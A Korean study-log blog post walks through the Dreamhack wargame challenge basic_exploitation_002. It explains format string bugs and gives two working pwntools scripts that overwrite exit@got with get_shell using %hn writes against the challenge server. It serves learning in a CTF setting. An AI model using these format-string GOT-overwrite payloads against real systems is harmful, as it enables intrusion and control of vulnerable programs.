학습 기록일지
Dreamhack - basic_exploitation_002 본문
포너블 3번째문제
gdb에서 확인해보면 RELRO, NX bit가 활성화 되어있다.
RELRO (출처 : https://howd4ys.github.io/2019-01-02/RELRO-is-fun1)
- No RELRO 는 ELF 기본헤더 , 코드영역 를 제외한 거의 모든 부분에 Read , Write 권한을 주는 것
- Partial RELRO 는 NO RELRO와 매우 비슷하지만 차이점이 있다면 _DYNAMIC 섹션에 쓰기 권한이 없어짐
- FULL RELRO 는 bss 영역을 제외한 모든 부분에서 write권한이 없어짐 (bss란 ELF섹션중 하나)
위 코드는 basic_2 문제의 소스코드이다.
확인해보면 앞에 문제와 마찬가지로 initialize() 라는 함수로 타이머를 걸어주며,
친절하게 쉘을 얻을 수 있는 get_shell()이라는 함수가 존재한다
buf의 크기는 0x80 이며 입력에 제한이 있으므로 오버플로우 취약점은 사용할 수 없다.
하지만 printf 함수에 출력 형식이 지정되지 않아 포맷스트링 취약점을 이용하여 쉘을 휙득 가능하다.
====
포맷 스트링 버그는 printf나 sprintf와 같이 포맷 스트링을 사용하는 함수에서 발생하는 취약점으로, "%x"나 "%s"와 같이 프로그래머가 지정한 문자열이 아닌 사용자의 입력이 포맷 스트링으로 전달될 때 발생하는 취약점이다.
참고 : https://krampus.tistory.com/58
====
본격적으로 문제를 풀어보자
문자열을 최대 0x80 바이트 입력하여 출력해준다.
위 소스에서 봤듯이 printf의 출력 형식이 지정되지 않아 메모리를 읽어온다.
포맷 스트링 버그 취약점을 이용하기 위해 exit() 함수의 got 주소와,
쉘에대한 명령어를 담고있는 get_shell 함수 주소도 알아야한다.
exit@got : 0x804a024
get_shell : 0x08048609
필요한 주소를 모두 구했다면 쉘코드를 작성해보자.
포맷스트링 함수에선 %n 문자를 이용하여 앞에서 출력한것들을 다음 인자로 넣어줄 수 있다. (이 때 문자열 하나당 카운트 1됨)
예를들어 printf("asd123%n", &a) 로 사용한다면 &a에서 6으로 사용하게된다
값 또한 2바이트가 들어가야 하기에 n이 아닌 hn이 포맷스트링으로 사용된다. (%n = 4byte, %hn = 2byte)
셸코드의 구조는 다음과 같다.
[exit@got+2][exit@got] + [get_shell주소 - 8] // %n
>>>> %hn으로
([exit@got+2][exit@got] + [get_shell 상위 2바이트 - 8]) as A + [get_shell 하위 2바이트 - A] // 내가 알아보려고
여기서 got+2를 해주는 이유는
설명 : 원래라면 exit@got 로 적어주는것도 가능하지만, 0x08048609=134,514,185 를 입력해야하는데 %n을 통한 공격방식은 숫자만큼 출력되어야 한다. 즉 위 카운트된거만큼 출력되야하는데 이는 시간도 오래걸리기때문에 시간초과로 실패할 수 있다.
그렇기에 %hn 을 이용한 2바이트씩 나눠서 출력하게 되면 exit@got 로부터 2바이트에는 0x8609를 입력하고 exit@got+2로부터는 0x804를 출력할 수 있어 비교적 짧은 시간 이내에 입력하는것이 가능하다. 결국 exit@got 에다가 4바이트 주소인 0x08048609를 입력하는것과 같게 된다.
여기서 get_shell 함수의 주소를 2바이트씩 나눈 이유는,
16진수 7자리를 모두 써주게되면 134,514,185라는 어마어마한 숫자의 문자가 들어가지만,
0x804 = 2052,
0x8609 = 34,313
2바이트씩 나누게 되면 들어가는 문자가 현저히 적어진다.
== 코드 ==
from pwn import *
#p = process('./basic_exploitation_002')
p = remote("host1.dreamhack.games",13265)
#804a024
print(0x804 - 0x8)
shell = b'\x26\xa0\x04\x08'+b'\x24\xa0\x04\x08'+b'%2044c%1$hn'+b'%32261c%2$hn'
p.sendline(shell)
p.interactive()
========
프로그램을 실행시 문자열이 공백으로 입력되고 코드가 실행된다.
결과
이 외에도 pwntools 내 모듈을 이용한 좋은 코드가 존재하여 가져와봤다.
출처 : https://dreamhack.io/wargame/challenges/4/writeups?page=2&id=3169
======
from pwn import *
#context.log_level = ‘debug’
binary = ‘basic_exploitation_002’
s = remote(‘host1.dreamhack.games’, 14719)
e = ELF(binary)
exit_got = e.got[‘exit’]
get_shell = 0x08048609
s.sendline(fmtstr_payload(1,{exit_got : get_shell}))
s.interactive()
======
fmtstr_payload
ELF, got 사용
상단 2바이트 입력시 %[주소]c%1$hn 혹은 %[주소]c%hn 으로 사용. 하단일 2byte 경우엔 %[주소]c%2$hn
%hn : 2byte
%hhn : 1byte